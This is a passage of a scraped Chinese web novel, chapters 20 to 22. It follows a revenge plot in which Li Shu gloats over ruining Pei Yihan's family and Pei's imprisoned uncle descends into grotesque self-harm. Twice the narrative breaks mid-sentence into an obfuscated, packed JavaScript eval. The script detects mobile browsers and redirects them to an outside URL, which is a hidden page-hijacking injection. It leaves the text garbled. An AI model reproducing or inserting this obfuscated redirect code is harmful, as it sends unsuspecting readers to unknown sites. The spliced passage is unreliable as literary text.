“大、伯……？”裴毅寒惊愕地盯着中年男人，许久之后，才依稀从眼前这张饿鬼般丑陋的脸上找到几分熟悉的影子。 裴贺泽的面皮一阵诡异的抽搐，凸出的眼球渐渐蒙上一层阴云。 紧接着，就见他老泪纵横地哀嚎起来。 “小寒，你帮帮大伯……我那两个孩子不顶用，大伯只有你了，大伯也不知道先前是怎么了，就、就……你救救大伯，这里不是人过的日子……” “我会努力的，大伯你等等、等等……”裴毅寒不敢轻易承诺，仓皇地逃离了看守所。 而见过裴贺泽凄惨的模样后，裴毅寒对黎舒升起了深深的愤怒，以及不解。 他立刻开车赶到腾宇影视，不顾前台的劝阻，直接闯进了顶楼的总裁办公室。 “黎总，需要我报警吗？”黎舒的助理兼保镖如猎犬般紧紧地锁定了裴毅寒。 “没事，我和裴哥单独聊聊，你不用担心。”黎舒笑着起身，从内锁上房门，然后抓起裴毅寒的手腕，“快来坐下尝尝我的茶，说起来，这还是你第一次过来呢……” 裴毅寒用力甩开了黎舒的手。 他英俊的面色黑沉如墨，牙关咬得死紧，低沉的声音如同凝着寒霜：“你只是一个外人，为什么一定要报警？明明我大伯对你那么好！” “不尽早报警的话，那你就是共犯了。”黎舒叹息一声，微微颔首，缓声道，“你看我多好，用‘我们’的名义上交了证据，这下没人觉得你是幕后黑手了，你的名声保住了。” “但你现在毁了我！”裴毅寒怒极反笑，如果需要用负债几十亿的代价来保名声，那这名声烂了也无所谓。 现在裴氏毁了，他也毁了，而这一切的罪魁祸首就是…… “我当然知道啊。”突然，黎舒愉悦地咧开嘴角。 这个回答令裴毅寒表情陷入一片空白。 什么意思？ 黎舒伸出手，慢悠悠地抚摸着裴毅寒僵硬的面庞，用指尖缓缓抬起裴毅寒长出青色胡茬的下巴：“不让你负债，难道还要让你帮裴贺泽开脱，给他住最好的疗养院颐养天年吗？这不是我想让他过的生活。” “你……竟然都知道？”裴毅寒感到抬起自己下巴的那根手指像是冰雪雕刻般寒冷，冷意沿着他的皮肤，渗透进他的五脏六腑，令他止不住战栗起来。 黎舒贴近裴毅寒的耳朵，如毒蛇嘶鸣般在他的耳垂上轻轻吹气。 “因为，我故意的~” 20.第 20 章 墙面冷硬的触感渗入上衣刺进皮肤，裴毅寒被一双强壮的手臂困在方寸之间，明明是白天，但窗户的光亮被眼前的身影遮蔽，那双漆黑如渊的眼眸近在咫尺，带着吞噬灵魂的魔力。 裴毅寒陡然惊觉青年的身形竟和高峰一般难以逾越，他以前只是透过手中的相片远远看到了雪山的纯白与壮阔，却忘了纯白与死亡相伴，壮阔与危机并存。 无论是羞怯温柔的笑容，关心备至的文字，还是相见恨晚的靠近……一切的一切都是针对他精心设计的陷阱，对方那层弱势的外衣只是狩猎时的伪装，而当对方主动撕下面具暴露真身，他就已是身陷囹圄，无法挣脱了。 “现在裴氏经历的一切，就是你一开始接近我的目的？”裴毅寒顿时想到了什么，胸口剧烈起伏，两眼发烫，喑哑的声音弥漫出悲凉的意味，“……我大伯，真的杀了你爸？” 黎舒漫不经心地勾了勾嘴角：“谁知道呢，没有证据的事情，全凭你主观意愿判断，你相信谁，谁说的就是真的。” 裴毅寒用力揪住黎舒的领带，手背暴起一片青筋，像是一头被逼到死路的野兽在做最后的反抗：“你只要回答我‘是’或‘不是’。” “是又如何？不是又如何？”黎舒收敛笑意，慢条斯理地掰开了裴毅寒的手指，嘲讽又冷漠地说，“难道你会为了我，把你大伯送去坐牢吗？得了吧，我在你心里没那么重要。” 裴毅寒张了张嘴，似乎是想要反驳，但喉咙里只能挤出急促的喘息。 “为什么是我……” 在一阵短暂又漫长的静默后，裴毅寒像是被抽干了全部的力气，仰着的头颅低垂下来，后颈完全暴露在黎舒的视线里。 黎舒垂眸，凝视着裴毅寒放下防备、引颈就戮的模样，内心产生了一股想用牙齿丈量那截脖颈弧线的冲动。 “祸不及子女的前提是惠不及子女。裴哥，你过去受的苦与我一点关系都没有，但你受你大伯的恩惠却是实打实的，他待你比他亲生子女还好，你又是裴氏集团的现任总裁，我不找你还能找谁？” 闻言，裴毅寒苦笑一声。 是啊，正因为他的大伯待他这个侄子比亲生子女都好，他才要找最好的律师团帮忙辩护。就算他大伯一定要被关着，也要关进条件顶好的疗养院，这是对方待他挥之不去的恩情。 “但你为什么又放过我？”裴毅寒抬起头，赤红的眼底闪烁着浓烈的不甘。 事已至此，他已经不再奢求两人的关系能像从前一样，但他不甘心过去的一切都是假的。 哪怕只有一分真呢？至少，不会显得他是个彻头彻尾的蠢货。 裴毅寒掀眸，长睫下的阴影里蛰伏着审讯般的压迫：“你明明有机会把我也送进去，一个负债几十亿且有案底的人，是不可能再挣扎着爬起来的。如此，一劳永逸。” “因为你很可怜。”黎舒回答得毫不拖泥带水，唇角维持着完美的弧度，眸色闪烁着某种悲天悯人的色彩，如同刽子手处刑前最后的慈悲。 他轻飘飘的声音仿佛从幽远的云端传来：“因为你不比我幸运，所以我放过了你。” 在黎舒没真正接触裴毅寒的时候，他把裴毅寒当成一个强大的假想敌，对方是他内心对上流阶层向往的具象化，倾注了他从出生以来二十多年全部的恨意……与憧憬。 面对那个任凭绞尽脑汁都够不到的阶层，他压抑着癫狂、嫉妒、暴怒无法抒发，这些负面感情如阴翳般蚕食着他的内心，深深地烙印在他的灵魂深处，激发他基因层面的无限贪婪。 复仇，他要。 名利，他也要。 享受，他还要。 凭什么他不能得到一切？ 他配得一切！ 但是。 等他实际接触裴毅寒后才发现，对方竟然悲惨得令人发笑。 ——饲养成本太低了，只需要一点饵料，对方就擅自掏心掏肺起来，不像是家养的，倒像是在外流浪久了的。 百亿豪门的总裁被教养成这副样子，足以说明一切问题。 于是，黎舒发自内心地说：“裴哥，我是真有点喜欢你的。” 裴毅寒原本英俊硬朗的脸上如石雕般凝固，而“喜欢”这两个字如同神来一笔，照亮生机。他的眉宇突然松动，眼睛微微睁大，神色中带着深深的茫然。 “我喜欢你的反差，你看上去有多么伟岸，内心就有多么狭隘。” 黎舒如仙佛般高高在上地睨了裴毅寒一眼，主动往后退了一步。 裴毅寒霎时恢复自由，深深地呼出一口气，视线朝前方看去。 只见阳光投在黎舒的侧脸上，金色的光晕笼在他的轮廓和发丝上，圣洁得令人屏息。 然而，他斜眸一眼，却透露出毫无缘由的天真恶意，像是浸着凝固发黑的血，残忍地用言语剖开裴毅寒的伪装。 “我喜欢你的卑劣，这样我就找到了折磨你的正当理由。” “我还喜欢你的坚强，你不容易被打垮，我就不需要寻找其他发泄渠道。” “你能容纳我的肮脏，让我的皮囊干净地出现在世人之前……” 裴毅寒沉稳的眉眼被撕开一道狰狞的褶皱，身体如同触电般颤抖地低伏下去，痛苦又愤怒地低吼：“够了！别说了！” 黎舒眉头上挑，舔了舔凉薄的唇角：“你只是一条被抛弃的可怜虫，谁对你好，你就在对方身上吐丝作茧，我喜欢这样的你。” 埋藏最深的自我厌恶猝不及防被揭开，裴毅寒的忍耐已经濒临极限：“我叫你别说了！” 这么丑陋、污秽的缺陷，连他自己都感到恶心，怎么可能会有其他人喜欢！ 这分明是对他的践踏与漠视！ 黎舒哼笑着，如同恶作剧得逞的孩子般残酷地撩拨着裴毅寒的神经：“……裴哥，你这个人，实在是太悲哀了~” 霎时，裴毅寒脑袋里有根弦“咔嚓”一下断了。 他的拳头带着呼啸的风声砸向黎舒。 然而，黎舒对此似是早有预料，伸出手掌，将裴毅寒的拳头在距离自己面门不足一寸的地方稳稳截停。 “你？！”裴毅寒目怒圆睁，又是一脚重重踹出。 但黎舒只是伸出长腿朝地面一扫，裴毅寒便向后仰去，一下子摔倒在了地毯上。 “暴力不可取哦？”黎舒扣住裴毅寒的手腕，顺势将他的双臂扼在背后，又用一条腿卡进他的双膝之间，叫他动弹不得。 “黎舒！你找死！放开我！！！”如大提琴般的低沉醇厚的声线忽然崩裂，裴毅寒额角青筋暴起，长期在外维系的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过，没等裴毅寒进一步深思，黎舒的话语便激发了他抗争的决心。 他用胳膊撑着发软的腿脚，扶墙站起，挺直背脊，死死瞪着黎舒，恨声道：“我不可能放弃裴氏的！” 裴氏集团是他多年来的执念，他从小到大的努力，都是为掌控裴氏集团做准备……因此，裴氏就算是毁，也必须由他亲自毁掉！ 黎舒眯起眼睛，毫不掩饰自己玩弄猎物般的恶意：“那我倒要看看，你能撑多久。” “我不会再给你对我下手的机会。”裴毅寒沉声说完，踉跄而决绝地推门离去。 黎舒站在窗前。 等裴毅寒走到办公楼下的时候，他再度发了个萌萌的哭哭白兔表情包过去。 【哥哥再见~啾咪啾咪~】 裴毅寒的身形明显震了一下，转过身，视线向上，得到了黎舒的挥手致意。 裴毅寒脸色兀地沉了下去。 当黎舒再发第二个表情包时，坐上车的裴毅寒还了他一个红色感叹号。 “哈哈哈哈哈——！！！” 黎舒忍俊不禁，捧腹大笑，兀自低喃。 “他真可爱，不是吗？” 21.第 21 章 百足之虫死而不僵，说的就是裴氏集团现在的情况。 裴氏集团以酒店业务为核心，涵盖了餐饮、旅游休闲、房地产、康养、文娱、金融投资等诸多产业，即便丑闻缠身，股价已经跌到了不能再跌的地步，但还有其他产业可以在短时间内支撑起现金流，维持庞大的资本机器运转。 并且裴氏数十年来积累的品牌认知度、客户资源和供应链关系当前仍然保有价值，少了一个裴氏，短期内也没办法轻易出现一个替代品。 但，对于大体量的资本而言，谁要当什么替代品？当然是痛打落水狗！连蹭带踩，拔旗易帜！ 这段时间，裴毅寒深刻体会到了什么叫做真正的世态炎凉。 他打了无数个电话，尝试亲自拜访与裴氏有过多年合作并且未公开割席的合作方，以期能争取更多的合作机会。 然而，以往待他如长辈般亲切的合作方董事长要么避而不见，要么打太极，要么干脆摆脸色……只能说，漠视是常态，没有背刺都算是看在以往的情分上。 更讽刺的是，深得裴父和裴贺泽信赖的高管们，面上对裴毅寒表态称“绝不背叛永远陪伴”，实则结|派内斗，互相之间打圈钱竞赛，就看谁圈得最多最快最狠，打着打着，连裴毅寒都直接被他们无视了。 没人在意一个才华能力只配在和平时期守成的过渡总裁。 在豪门宅斗中侥幸逃生算什么本事？能在猛兽环伺的商界生存下来，才配上桌！ 这让裴毅寒陡然意识到，原来他一直活在父辈的余荫之下，这道余荫既是限制，也是保护。曾经的他被无数枝条捆缚，是一个按部就班生存的傀儡，现在枝条枯萎，树本身也快倒了，他才看到外界的血雨腥风。 裴毅寒从来没有这么疲惫过。 海州的冬天是魔法攻击，湿冷的空气像针一样透过毛衣扎进骨头缝里，汲取着人体的温度。偌大一个裴氏竟然成了累赘，他带着累赘在黑暗中爬行摸索，时不时就被打击一下。 这天，律师打来电话声称裴贺泽的精神检查报告出来了。 “裴总，您大伯的精神状况没有任何问题。” 裴毅寒想也不想地说：“不可能。” 任何去亲眼见过裴贺泽的人都不会怀疑他是个精神病患者，而且已经病重到一定程度，不仅是因为他外表枯瘦得像千年老尸，更是出于他种种可怕的行为。 ——他竟然用墙壁摩擦手掌，将自己手上的血肉全都磨掉，然后用锐利的骨刺刺瞎了一只眼睛、刺聋了一只耳朵，再活生生划开肚子掏出阑尾…… 以上的行为都不致死，但就算是装疯卖傻，也不至于做到这种地步吧！更何况，一个没有学过医的人，是如何把自己的肚皮彻底划开后，再在满肚子脏器中精准地找到阑尾的？ 律师说：“我们也觉得这非常不可思议。根据监狱这边提供的录像，我们发现您大伯的精神状况时好时坏，有几天一声不吭，不吃饭不喝水，但进食不知从哪找来的老鼠蟑螂；有几天又要对着伤口哀叫不止，大呼疼痛，跪地磕头需要止痛药。监狱那边也申请了好几次来自权威机构的精神鉴定，但无一例外，您的大伯就是没有问题……所以，只能得出结论，他是……” “装的。”裴毅寒代替律师将未尽的话语说了出来。 律师停顿了良久，迟疑地说：“裴总，不知道您信不信那些事情……” 裴毅寒皱眉：“哪些？” 律师：“我们认为，您大伯似乎是中邪了。” 科学无法给出明确解释，那就只有玄学了。 “全身ct做了吗？确定脑部没有感染寄生虫？或者是体内某个器官发生病变影响了他的行为？”裴毅寒吐出一口浊气，他本是不信这些的，但就连律师都这么说了，以至于连他也不禁在产生了几分动摇。 律师：“体检项目都做了，排出了各种罕见疾病。您大伯的身体除了有些虚弱外，各个器官都很健康。” 听罢，裴毅寒揉了揉眉心。 中邪？他大伯一个常年吃斋念佛，兴趣爱好是收集开光佛物的中年人，怎么会好端端中邪？ 猛然间，裴毅寒的脑海里浮现出黎舒的身影。 裴家的一切异变都在半年内发生，也就是黎舒出现以后，他的大伯更是和黎舒交换了一串佛珠，难道真的是他大伯杀了人，仇人的儿子带着鬼魂前来复仇？ 上一次探视已经是半个月之前，裴毅寒空出一天时间，想向裴贺泽求个答案。 每次裴毅寒过来见裴贺泽的时候，裴贺泽的表现都算正常。 “小寒，你又瘦了不少，最近可苦了你了。大伯在里面过得不好，你什么时候能过来救大伯出去？大伯现在能依靠的只有你了，小寒啊，大伯这辈子不求别的，只想活着看你结婚生子，家里那么多孩子，大伯最喜欢的就是你……” 隔着玻璃，伯侄俩一见面，裴贺泽仅剩的左眼就淌下一串浑浊的泪水。 裴毅寒注意到自己大伯身上又多了不少伤口，大片大片的血痂如密密麻麻的蜈蚣在枯树皮上蜿蜒爬行，看得他阵阵发冷。 隐约间，他甚至感到有一道阴森的视线注视着自己。 “大伯……我想知道，你年轻时，到底有没有杀了黎舒他爸？” 那厢，原本还在絮叨的裴贺泽猛地顿住，面部肌肉一顿诡异的抽搐，谄媚地弯下腰：“小寒，你怎么能怀疑你的大伯？没有的事，不知道你从哪听来的，如果是我犯的错，死的怎么会是你父亲？别想有的没的了，快把大伯救出去，大伯快受不了了……” 见状，裴毅寒的一颗心渐渐坠入谷底。 他可以肯定他大伯撒谎了。 确切来说，对方是在一天天的折磨，一次次的隐瞒与一遍遍的质问中不小心露馅了。 这份肯定没有证据，而是源自他内心的直觉，凭借他对唯一敬爱的长辈二十多年来的了解。 “是么……原来是这样啊……”裴毅寒低喃着，只觉得笼罩在中年男人身上的光环被迅速剥离，露出底下肮脏污臭的烂肉。 “咔嚓”一声，冥冥之中，铡刀落地。 心中仿佛被割下一块肉，短暂的疼痛后，换来的是前所未有的轻快感，多年来根植在他身上的病灶终于消失了。 对面，裴贺泽看到了什么很不可思议的场景，脸上的讨好突然僵住，质问道：“你在笑什么？” “大伯，您在说什么？” “我说，你在笑什么！！！”裴贺泽当即发起狂来，脑袋“哐当”一下砸在玻璃上。 顿时，他的额头上鲜血四溢，鼻梁骨歪了，连牙齿都碎了几颗，用漏风的声音恶毒地咒骂道：“白眼狼，当初我就该帮你父亲把你这个拖油瓶解决掉！如果不是我，你以为你这个碍事的畜生能活到今天！我所做的这一切都是为了你，你居然要抛弃我！裴毅寒，你不得好死——！！！” “我有笑吗？”裴毅寒摸了摸自己的脸。 啊，他居然真的笑了。 而且不知为何，这个笑容简直像刻在他脸上一样，根本止不住。 对面，裴贺泽很快便被狱警七手八脚地摁在地上。 裴毅寒俯视着曾经最敬爱的亲人，低沉的嗓音里带着一股拙劣大提琴乐般刻意营造的悲凉，在轻飘飘的悲凉下，翻涌着的是一股由衷的欣慰：“大伯，每个人都要为自己的错事付出代价。” 他这几个月以来为了他大伯扯下脸皮，四处求人，最后却得知这一切都是对方自作孽……呵，该说是可笑呢，还是讽刺呢？ 久病床前无孝子，更何况他只是一个侄子，人家的亲生子女都能对亲爹不管不顾，他这个侄子又何必管太多？ 总不能，他大伯杀人坐牢，他这个当侄子的也得冒着自毁前程的风险去救吧？ “对了……是你刺杀了我爸，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076562|178401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算他对我再不好，那也是我爸……大伯，我们的亲缘从那一刻开始就应该了结了。” 裴毅寒低喃着，眼前的迷雾一点点散开，他的眼睛越来越亮。 等再度看向裴贺泽时，他的眼里只剩下一具无关紧要的尸体。 最终，裴毅寒迈着轻松的步伐从监狱离开了。 车上，裴毅寒立刻拨通电话，让助理帮忙变卖掉老宅以及全部的古董字画。 至于卖不掉的私人物品，烧了、扔了，怎么处置都可以，只要不继续出现在他眼前就好。 回到家后，坐在客厅玩手机的温茉茉跑上前来，张开双臂，准备给裴毅寒一个大大的拥抱。 却不想裴毅寒径直躲开。 “有晦气，身上脏，不要让脏东西沾到你。”裴毅寒摸了摸温茉茉的头顶，“刚刚在干什么？” “在追微短剧呢。” 裴毅寒表情明显顿了一下，克制住内心的情绪起伏，沉着嗓音说：“追微短剧可以，但是不要再见黎舒了。你知道的，我和他的关系已经不可能再缓和了……” 闻言，温茉茉纠结了片刻。 如果是半年前，她肯定会立刻答应下来，表示再也不会见黎舒了。 可现在，微短剧看得多了，她第一反应是：凭什么干涉我的交友？ 不过，考虑到裴毅寒最近实在辛苦，而自己是对方唯一的精神支柱了，温茉茉才不情不愿地点头说：“好吧，不见他就是了。” “乖。”裴毅寒朝卧室走去，“我先去洗个澡睡一觉，你慢慢玩。” 温茉茉平时是不住在裴毅寒家的，现在她经常被乔凛带着玩，也结交了一些新朋友，只是她最近担心裴毅寒的身体，所以每两天都会过来一趟。 卫生间里，水雾蒸腾。 淋浴喷头的水珠从头顶“哗啦啦”打在身上，像血、像泪，又像凝固的污垢正在迅速脱落。 这是一场洗礼。 裴氏的裴，不再写着他父亲和大伯的名字，而是他的名字！ 不管他父亲和大伯，以及其他人是否愿意，权力都已经全盘渡让到了他的手中。 至少他还有温茉茉陪着，在这个吃人的世道里，感情是奢侈品，而非必需品，他身前的阻碍好不容易才得到清除，他不会、也不能、更不敢再受到蛊惑了。 “只要我不愿意，没人能再控制我。” 抹开被水雾模糊的镜面，镜中青年深邃的双眼透露着前所未有的敏锐和决断，里面承载的东西，已不再是乞求获得他人认可的高调浮夸的幼稚，而是如嗜血野兽般渴求更多利益的实实在在的野心。 …… 而另一边，温茉茉回到家后，虽然没和黎舒见面，但还是打了视频通话，将今天发生的一切都如实相告。 黎舒语重心长地说：“傻姑娘，你一时可以忍受他斩断你的某段社交，但长期以往呢，他会不会要求你斩断更多社交关系？到那时，你会变成一个没有人愿意搭理，满世界只剩下裴毅寒的宠物女孩。” 温茉茉打了个寒颤，这实在太可怕了。 “学长，那我该怎么办？” “想要建立平等的关系，你就要获得他的尊重，而尊重需要物质基础，你就先从一些赚钱的小项目投资开始做起来吧。”黎舒笑道，“最近我这边打算新开一个短剧项目，你要不要来投资一点？” 温茉茉知道腾宇影视的微短剧低成本高回报，黎舒是压根不缺投资的，所以黎舒这么做，就是想要拉扯她一把。 “学长，呜呜呜~谢谢你……你怎么能对我这么好，比我亲哥还亲！” “客气什么？我们是好朋友。”黎舒温柔地说完，挂断了电话。 最近他打算开一个短剧来进一步揭露裴氏，凭借着短剧那快节奏带来的强烈情感张力，肯定能激化民众对裴氏的负面情绪。 正常商战罢了，可算不上恶毒呢~ 22.第 22 章 香江太平山顶，裴氏豪宅。 庄严雅致的茶室中，裴毅寒坐在檀木椅上，背脊挺直，下颚绷着一条冷硬的弧线，眼睑半垂，眸底凝着铁灰色的光。 裴家家大业大，势力分散各地，裴毅寒所处的这座豪宅由二房长子裴贺年继承，他姑且称对方一声“年伯”。 裴老爷子活着的时候，就喜欢看人丁兴旺的景象，每年都会举办两次家族宴会，一次是寿辰，一次是新年，裴毅寒从小到大每年都能见两次其他几房的亲戚，但他对这些亲戚了解不深。 而等裴老爷子去世后瓜分完遗产的这几年里，几房之间就成了熟悉的陌生人，别说见面了，连利益往来都切断了。 只见裴贺年右手缓缓转动佛珠，左手为裴毅寒倒茶，平淡的语气里带着客套的遗憾：“贺州跟贺泽的事情我都听说了，三房数十年基业一朝被毁，可惜了。你请过道士了么？” “不曾。”裴毅寒平静地回答，“想来是冤有头债有主罢了。不过为避免晦气缠身，我已经将海州那套祖宅以及祖宅里的一切都变卖了。” 裴贺年眼睫微颤，目光锐利地审视起了裴毅寒。他对这位侄子的印象很浅，只知道是个不受看重的倒霉孩子，被当成工具养着，外强中干，虚有其表，不曾想短短几年没见倒是学会了商人的冷血……有没有可能，是这孩子为了狙杀同父异母的弟弟，暗中出手了？ “年伯，我今天过来，是想请您拉一把。”裴毅寒从公文包中取出一份文件，直视对方道，“我给出的条件不会让您失望的。” 裴贺年翻了翻文件，发现条件是不错，只可惜…… “你可知你们三房死伤惨重，外头有不少声音在传是我们其他几房联合出手所致。如今整个裴氏都已经和‘兄弟阋墙’四个字绑在一起，香江媒体的威力你是知道的，这阵子孩子们老因这事儿向我抱怨。我年纪大了，就图个清静，虽然你出的条件不错，但还是另请高明吧。” 风水玄学的手段大家都在用，但闹成三房这样实属罕见，裴贺年今年六十好几的人了，这两年预备退休养老，实在不想蹚浑水。 面对拒绝，裴毅寒眼皮子都没动一下，显然是早就料到了会有这个结果，做出一番深思状，压低嗓音说：“最近香江的杜家也向我抛来了橄榄枝，我想着和二房毕竟是亲戚，就没有第一时间答应……看来是我冒昧了。” 杜家是裴家二房多年的死对头。 裴贺年听裴毅寒提到杜家，怒极反笑：“你在威胁我？” “没有，我怎么敢威胁长辈？只是日子实在过不下去，不得已而为之，我也实在不愿这么多年的亲戚没得做。”话虽如此，裴毅寒从头到尾都露出一点惶恐之意，他脸上毫无表情，如高大的雕塑般呈俯视之姿，身形微微前倾，肩膀压下，庞大的阴影立马吞没半张茶桌。 既然他不好过，凭什么二房好过？大家都姓裴，要么一块儿死，反正他光脚的不怕穿鞋的，不亏！ 裴贺年气不顺地往嘴里灌了几口茶水，没想到这么大年纪了，还要被一个小辈威胁，偏偏这威胁他还不得不吃。 长达三分钟的沉默后，裴贺年的肩膀耷拉下去，不轻不重地将茶杯往桌上一放。 “……我还有一个条件。” 裴毅寒垂首：“请讲。” 裴贺年：“不久后，五十亿级别以上的资本大擘将举办一场商业宴会，这事儿你也是知道的。” 裴毅寒点了点头，这个宴会，他们三房也曾担任过东道主。裴家的资产虽然跳水了，他个人也担下了巨额负债，但他依旧获得了邀请函。 富豪和负豪其实是一样的，赚的越多，负债也就越多，负债几十亿不可怕，可怕的是负债几十块。 一般人无法负债几十亿，而负债几十块就真的是穷途末路了。 就听裴贺年接着说：“我要你带耀勇去参加。” 裴毅寒的眉头当即用力皱了起来，脸色阴郁道：“这么重要的场合，你要我这个三房嫡长子去带你们二房一个上不了台面的私生子，你是生怕我遭受的耻笑还不够多？” 富家子弟之间的鄙视链客观存在，原配生的瞧不起续弦生的，续弦生的瞧不起领养的，前三者一块儿瞧不起私生的。 “你想获得老爷子留下的家族信托基金，就必须带上他，而且他必须活得好好的。”裴贺年深沉地拧了裴毅寒一眼，然后对管家拍了拍手。 管家出去了一趟，很快便取来一份文件。 裴毅寒接过手，才注意到这是一份亲子鉴定书。 他刚翻开，就听裴贺年幽幽道：“裴耀显是老爷子的私生子，我只是替老爷子背了黑锅。” “……”裴毅寒瞳孔一缩，短时间内失去了语言能力。 “你要是不信，可以重做一次。”裴贺年勾了勾嘴角，自嘲道，“谁能信呢？七十多岁的老头了，照理来说，生育功能已经退化，老爷子居然老当益壮，还能生个孩子出来！” 这件事传出去实在太难听了。 裴毅寒也哂笑一声，难怪二房的裴贺年论样貌论才情论岳家实力处处比不上他的胞弟，到老了反而能获得老爷子的青睐，原来是因为够狠得下心。 可见，能狠得下心比什么都重要。 “你想将这个麻烦抛给我？”虽然是疑问的句式，但裴毅寒的语气是肯定的。 “一个被老爷子溺爱，整日惹是生非，偏偏还解决不了的废物，我确实是受够了。”裴贺年长叹一声，其实最重要的是，他的发妻还有五个子女都因为裴耀勇的存在对他颇有怨怼，他担心这件事再不解决，多年积累下来的埋怨会在某个时刻爆发。 ——就和三房一样。 裴毅寒权衡一番利弊后，答应下来。 再怎么样，裴耀勇至少不会被怀疑是他的私生子。 …… 裴毅寒去香江的时候孑然一身，回来的时候，身后却多了个比他小两岁的纨绔少爷。 裴耀勇继承了有裴老爷子年轻时五分的俊秀，另外五分则继承了生母的美貌，着实生得一副好皮囊，然而一双形态漂亮的眼睛在长期的酒肉声色中变得乌青，好似有什么东西烂在了内里，隐约透露出一股恶臭。 裴毅寒全程跟裴耀勇保持了半米以上的距离，好似靠近对方一点，他都要感染很严重的病毒。 他自然是不肯让裴耀勇住进自己家的，便把裴氏酒店的总统套房给对方住。 但裴耀勇是个闲不住的，见裴毅寒小动作里透着满满的嫌弃，内心就非常不爽。 ——大家都是男人，你又是什么好货色，就你还清高上了？ 裴毅寒住的高档别墅区安保很好，但架不住裴耀勇狐朋狗友多，跑群里一问，就有兄弟的兄弟跑关系给他搞了人脸识别，他进小区不费吹灰之力。 然后，他瞅准了裴毅寒下班回家的时候，对方一开家门，他就唰唰凑了过去。 “你怎么会在这里？”裴毅寒眼睛黑得发冷。 裴耀勇扬起下巴，轻浮地说：“看看你偷藏了什么宝贝咯，这么防着人！” 裴毅寒越发阴冷，而裴耀勇全程都是“你能拿我怎样”的混不吝，两人无声对峙，气氛剑拔弩张。 这时，温茉茉疑惑地走到玄关，娇生生的嗓音让裴耀勇眼睛发亮。 “裴毅寒，你停在门口做什么？” “原来是这样啊，怪不得你不让别人进门，原来是金屋藏娇。”裴耀勇用手肘戳了戳裴毅寒的胸口， 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“草！你踏马，吊什么！”疼痛让裴耀勇回过神来，他骂骂咧咧地踹着裴毅寒的房门，越想越觉得屈辱。 但裴毅寒的房门是高级定制，裴耀勇哪怕踹一百脚，门也不会有事，反倒是他的脚骨头要碎完了。 裴耀勇回酒店后就砸了屋里的陈设。 砸完后，看着一地狼藉，他的心气勉强恢复过来，开始向群里的狐朋狗友们求助。 【兄弟们，我堂哥踏马的为了个马子叼我，老子不出这口恶气早晚要心梗死，你们有啥好办法帮我想想！】 很快，群里的狐朋狗友们便迅速哔哔起来。 【握草？叼我兄弟？这踏马必须叼他！】 【他堂哥哪个？】 【裴毅寒，最近家破人亡那个。】 【额额额。】 【……我听说有点邪性的，裴毅寒对他大伯下蛊，把他亲爹、后妈和弟弟一网打尽了，我家里人让我别惹到他。】 【那段视频你们谁有存？玛德，老子只是喜欢玩，也没搞出过人命，只能说会咬人的狗不叫。】 【放屁，这里谁没让女的打过胎？】 【呵呵，老子只玩男的。】 很快，群里一群人肆无忌惮地聊起了八卦。 裴耀勇更气了，打字：【让你们想办法，你们瞎几把哔哔啥呢？还不快帮我！】 然而，纨绔有纨绔的生存门道，玩归玩，闹归闹，能用钱摆平的事用钱摆平，摆不平的就千万别沾，他们还是不想自己家破人亡的。 好在不久后，有人私信了裴耀勇。 【兄弟，我这里有好东西，你听我的，保证裴毅寒出大糗。】 这人没有备注，朋友圈设置了仅三天可见，看不到明显的个人信息，但却是同一个群聊里的。裴耀勇点开对方头像一看，发现是加了很多年的人，便觉得对方应该信得过。 毕竟没事的时候，他们只在群里聊天，基本不私聊的。 【牛逼，还是兄弟靠谱！】 手机的另一头，已经形销骨立犹如病入膏肓的裴毅松露出癫狂的恶意。 “裴毅寒，终于让我找到机会了！” …… 转眼间，便到了商业宴会的那天。 裴毅寒盛装出席，哪怕万般不愿也仍然带上了裴耀勇。 宴会大厅金碧辉煌，奢华至极。 裴毅寒矜持地搜寻着潜在的商业合作伙伴，忽然，他在人群里见到了一抹出乎意料的身影，当即瞳孔骤缩，呼吸凝滞。 “黎舒，他怎么会在这里？”